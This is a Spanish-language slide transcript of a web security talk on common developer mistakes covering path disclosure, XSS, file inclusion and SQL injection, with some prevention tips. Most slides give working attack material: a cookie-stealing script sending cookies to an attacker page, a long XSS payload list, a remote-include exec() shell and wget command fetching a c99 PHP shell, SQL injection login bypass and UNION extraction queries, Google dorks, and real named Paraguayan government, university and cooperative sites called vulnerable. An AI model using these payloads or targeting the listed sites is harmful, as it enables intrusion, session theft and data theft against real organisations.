errores comunes al desarrollar websites seguridad web

27
Errores comunes al desarrollar websites SEGURIDAD WEB

Upload: hilario-feria

Post on 12-Jan-2015

22 views

Category:

Documents


5 download

TRANSCRIPT

Page 1: Errores comunes al desarrollar websites SEGURIDAD WEB

Errores comunes al desarrollar websites

SEGURIDAD WEB

Page 2: Errores comunes al desarrollar websites SEGURIDAD WEB

Si, aprenderemos a hackear sitios web, no obstante..

Advertencia:

Utilizaremos sitios webs “reales” para mostrar sus vulnerabilidades, sólo con fines educativos.

No se va a defacear ningún sitio durante esta charla, simplemente testearlos y ver sus agujeros de seguridad.

¿APRENDEREMOS A HACKEAR SITIOS WEB?

Page 3: Errores comunes al desarrollar websites SEGURIDAD WEB

Requisitos

Temática de la charla

ANTES DE EMPEZAR

Page 4: Errores comunes al desarrollar websites SEGURIDAD WEB

¿Ya han sido hackeados?

PREGUNTA

Page 5: Errores comunes al desarrollar websites SEGURIDAD WEB

• Full Path Disclosure - FPD

• Cross-site Scripting – XSS

• Local File Inclusion – LFI

• Remote File Inclusion – RFI

• SQL Injection - SQLi

TIPOS DE VULNERABILIDADES

Page 6: Errores comunes al desarrollar websites SEGURIDAD WEB

FULL PATH DISCLOSURE - FPD• Vulnerabilidad que permite al “atacante” ver el path absoluta donde se encuentra el sitio

web. Ejemplo: /home/usuario_victima/public_html/

• Peligrosidad baja, no obstante, combinado con otros tipos de vulnerabilidades como LFI o SQLi se vuelve interesante

• ¿Cómo conseguirlo?

• Manipulación de parámetros, ya sea $_GET, $_POST, Cookies

• Investigando en buscadores como Google

• ¿Qué podemos hacer con el path obtenido?

• Podemos identificar el posible usuario FTP, para intentar conseguir ingresar por FTP con método de fuerza bruta. Aplicación de fuerza bruta: Bruter

• Combinar con LFI o SQLi para lograr incluir efectivamente archivos o hacer dump de la base de datos

Page 7: Errores comunes al desarrollar websites SEGURIDAD WEB

FULL PATH DISCLOSURE - FPD• ¿Cómo prevenirlo?

Principalmente, deshabilitando que se muestren los errores

php.ini:

• display_errors = "off"

httpd.conf/apache2.conf:

• display_errors off php_flag

Script PHP:

• ini_set ('display_errors', false);

Además, controlando que estén seteadas las variables antes de utilizarlas, controlar que exista archivos antes de incluirlos, validación de variables. Con el primer paso ya basta, ya que no se mostrará nada, no obstante no está de más aplicar esto por recomendaciones de buena programación

Page 8: Errores comunes al desarrollar websites SEGURIDAD WEB

EJEMPLO- FPD• Buscamos en Google warning inurl:gov.py filetype:php

• En este caso buscamos warning en sitios del gobierno de paraguay, pero podemos utilizar otras variantes, como ser: Fatal error, Notice, undefined function, etc

Page 9: Errores comunes al desarrollar websites SEGURIDAD WEB

CROSS-SITE SCRIPTING – XSS• Vulnerabilidad que permite al “atacante” inyectar código que será interpretado en el

cliente, como ser JavaScript, VBScript, HTML, CSS.

• Podemos lograr:

• Hacer phishing

• Robo de cookies

• Deface via JS

• ¿Cómo podemos evitarlo?

• Controlando antes de mostrar algún dato dinámico, por ejemplo en PHP con el uso de la función htmlentities(), que remplaza los caracteres especiales por su equivalente de HTML

Page 10: Errores comunes al desarrollar websites SEGURIDAD WEB

ROBO DE COOKIESEn el sitio atacado:

• Publicar el siguiente código:<script> window.open("http://localhost/sitio2/cookie.php?cookies="+document.cookie); </script>

En nuestro sitio:

• Crear un archivo cookie.php en el cual:

• Obtenemos la variable $_GET[‘cookies’]

• La enviamos a nuestro e-mail

• Escribimos en un archivo de texto

• Insertamos en una base de datos

• Mostramos un mensaje al usuario para confundirlo, como ser:

• “En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos”

Page 11: Errores comunes al desarrollar websites SEGURIDAD WEB

EJEMPLOS DE XSS<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG src=javascript:alert(String.fromCharCode(88,83,83))>

<marquee><script>alert('XSS')</script></marquee>

<style>@import'javascript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

Page 12: Errores comunes al desarrollar websites SEGURIDAD WEB

Local FILE INCLUSION – LFI• Vulnerabilidad que permite al “atacante” mediante la manipulación de parámetros $_GET,

$_POST incluir archivos ya existentes en el servidor, los cuales no son propios de la app.

<?PHP include $_GET[‘pagina’]; // Se puede aplicar LFI ?>

• Podemos lograr:

• Ver archivos del sistema, como /etc/passwd, /etc/group

• Inclusión de archivos con código malicioso previamente insertado

• Forzar archivos de la app, si posee un sistema de descarga con bug LFI

• ¿Cómo podemos evitarlo?

• Se lo puede evitar seleccionando qué archivos específicamente pueden ser mostrados, de tal manera que si el archivo solicitado no está en la lista, no se podrá acceder a él.

Page 13: Errores comunes al desarrollar websites SEGURIDAD WEB

SITIOS A TESTEAR LFIMostrando archivos del sistema

• Senado - SIL - Sistema de Información Legislativahttp://www.senado.gov.py/silpy/

• Indert - Instituto Nacional de Desarrollo Rural y de la Tierrahttp://www.indert.gov.py/

• CeConsult - Centro de Consultoreshttp://www.ceconsult.com.py/

• Cooperativa Coofy LTDAhttp://www.coofy.coop.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

Page 14: Errores comunes al desarrollar websites SEGURIDAD WEB

SITIOS A TESTEAR LFIBajando archivos de la APP

• Cooperativa San Cristobal:http://www.sancristobal.coop.py/

• CNCSP - Cámara Nacional de Comercio y Servicios de Paraguaywww.ccparaguay.com.py/

• TSJE – Tribunal Superior de Justicia Electoralhttp://www.tsje.gov.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

Page 15: Errores comunes al desarrollar websites SEGURIDAD WEB

REMOTE FILE INCLUSION – RFI• Es una vulnerabilidad que sólo se da en PHP, consiste en la inclusión de archivos

remotos (que se encuentran en otros servidores) mediante “include”. No se da en ASP.

• Para que funcione debe estar habilitado url_allow_include

• ¿Qué podemos lograr?

• Inclusión de archivos remotos para ejecución de codigo malicioso

• ¿Cómo lograrlo?

http://[servidor_victima]/index.php?pagina=http://[servidor_atacante]/cmd.txt&&cmd=ls

En el archivo cmd.txt tenemos el código <?php exec($_GET[‘cmd’]);?>

Se puede utiilizar exec(), shell_exec(), system(), passthru()

Lo cual nos permitirá la ejecución de comandos, como por ejemplo descargar un phpshell

<?php passthru('wget http://localhost/sitio2/c99.txt -O shell.php');?>

Page 16: Errores comunes al desarrollar websites SEGURIDAD WEB

SQL INJECTION - SQLI• Vulnerabilidad en la cual el atacante inserta código SQL para obtención de datos de la DB

• Ingresar al administrador:

• Colocamos:

• Usuario: ’ or 1 = 1 -- (siempre se cumplira)

• Password:

• Debería ingresar al administrador si posee SQLi ya que la condición insertada siempre se cumplirá y el resto está comentado

• Select * from usuario where usuario = ‘’ or 1 = 1 – ‘and pass = ‘’

Page 17: Errores comunes al desarrollar websites SEGURIDAD WEB

SQL INJECTION - SQLI• Si el login no tiene vulnerabilidad SQLi tenemos otras opciones

• Pasos:

• Identificar agujero, http://localhost/sitio1/index.php?id=1 ejemplo ingresando:

• 1 and 1 = 1 -- (true) ó 1‘ and 1 = 1 --

• 1 and 1 = 0 -- (false) ó 1‘ and 1 = 0 –

• El comportamiento de la injección and 1 = 1-- y and 1 = 0 -- debería mostrar un comportamiento distinto respecto a lo que se muestra en la página, ya que lo primero siempre se cumple, y lo segundo nunca se cumple.

• Donde dice – se puede usar también #, es para comentar todo lo que pueda haber luego. Ejemplo:

• Select id, titulo, contenido from articulos where id = 1 and estado = 1

• Select id, titulo, contenido from articulos where id = 1 and 1 = 1 – and estado = 1

Page 18: Errores comunes al desarrollar websites SEGURIDAD WEB

PASOS PARA OBTENER DATOS - SQLI• Obtener la cantidad de columnas que afecta el query donde queremos injectar código

SQL

• Obtener tablas

• Obtener columnas de tablas

• Obtener datos deseados

• Crear archivo con código malicioso para luego subir PHPShell (* Opcional )

Page 19: Errores comunes al desarrollar websites SEGURIDAD WEB

OBTENER CANTIDAD DE COLUMNAS- SQLI• select id, titulo, contenido from articulos where id =1 and estado = 1

• Insertamos SQL

• select id, titulo, contenido from articulos where id =1 union select 1 -- and estado = 1

• Vamos agregando datos al select hasta que deje de dar error, o no muestre en blanco, o hasta que muestre el contenido como si no hubiésemos hecho la inyección

• select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1

• select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1

• select id, titulo, contenido from articulos where id =1 union select 1,2,3 -- and estado = 1

• En este último caso igualamos la cantidad de columnas, lo cual ya no debería darnos error SQL y deberíamos ver el contenido normal, entonces en este punto necesimamos que solo se muestre nuestro query y no lo primero, para esto debemos aplicar and 1 = 0

• select id, titulo, contenido from articulos where id =1 and 1 = 0 union select 1,2,3 -- and estado = 1

• Veremos entonces en la página algunos de los datos 1, 2 o 3

Page 20: Errores comunes al desarrollar websites SEGURIDAD WEB

OBTENIENDO INFORMACIÓN DE LA DB• select user(),database(),version(),connection_id()

• Ejemplo en la URL

• http://sitio.com/index.php?id=id=-1 union select concat(user(), 0x3a, database(), 0x3a, version(), connection_id(), 0x3a),2,3,4--

Page 21: Errores comunes al desarrollar websites SEGURIDAD WEB

OBTENIENDO TABLAS• select table_name from information_schema.tables limit 10,1

• Remplazar el 10 por el offset deseado, debemos poner 1,1; luego 1,2; luego 1,3 hasta encontrar una tabla que nos interese, por ejemplo “usuarios” en 50,1

• Ejemplo en la URL

• http://sitio.com/index.php?id=1 and 1= 0 union select table_name,2,3,4 from information_schema.tables limit 50,1--

• Otra opción. Agrupando las tablas.

• select group_concat(table_name) from information_schema.tables

• Esquema específico

• select table_name from information_schema.tables where table_schema = ‘nombre_db‘

• Listar tablas exceptuando las de MySQL

• SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

Page 22: Errores comunes al desarrollar websites SEGURIDAD WEB

OBTENIENDO COLUMNAS• select column_name from information_schema.columns where table_name = ‘usuarios’

and table_column like ‘A’

• Si se escapa la comilla ‘, la variante es pasar el string a ASCII:

• select column_name from information_schema.columns where table_name=char(117,115,101,114,115)

• También podemos agregar filtro de columna

• select column_name from information_schema.columns where table_name = ‘usuarios’ and table_column like ‘A’

• Ejemplo en la URL

• http://sitio.com/index.php?id=1 and 1= 0 union select column_name,2,3,4,5,6 from information_schema.columns where table_name=char(117,115,101,114,115)--

• Otra opción

• select group_concat(table_name) from information_schema.tables

Page 23: Errores comunes al desarrollar websites SEGURIDAD WEB

SITIOS A TESTEAR SQL INJECTIONOBTENIENDO USUARIO Y BASE DE DATOS DE LA APP– Envío por GET

• ANR – Asociación Nacional Republicanahttp://www.anr.org.py/

• UNIDA - Universidad de la Integración de las Américashttp://www.unida.edu.py/

• Universidad Católica Nuestra Señora de la Asunción:http://www.uca.edu.py/

• Cooperativa COOMECIPARhttp://www.coomecipar.coop.py/

• SIF AMERICA S.A.http://www.sif.com.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

Page 24: Errores comunes al desarrollar websites SEGURIDAD WEB

SITIOS A TESTEAR SQL INJECTIONOBTENIENDO USUARIO Y BASE DE DATOS DE LA APP – Envío por POST

• SENADOhttp://www.senado.gov.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

Page 25: Errores comunes al desarrollar websites SEGURIDAD WEB

¿Preguntas?

Page 26: Errores comunes al desarrollar websites SEGURIDAD WEB

Conclusión• Sitios a los que encontramos agujeros de seguridad efectivamente:

• Sitios del Gobiernos

• www.senado.gov.py, www.indert.gov.py, www.tsje.gov.py

• Universidades Privadas

• www.uca.edu.py, www.unida.edu.py

• Cooperativas

• www.sancristibal.coop.py, www.coomecipar.coop.py

• Otras instituciones

• www.anr.gov.py. www.sif.com.py, www.ccparaguay.com.py

Page 27: Errores comunes al desarrollar websites SEGURIDAD WEB

Contacto• Fernando Goetz

• Twitter

• http://twitter.com/fernandogoetz

• E-mail

[email protected]

* Las consultas son bienvenidas.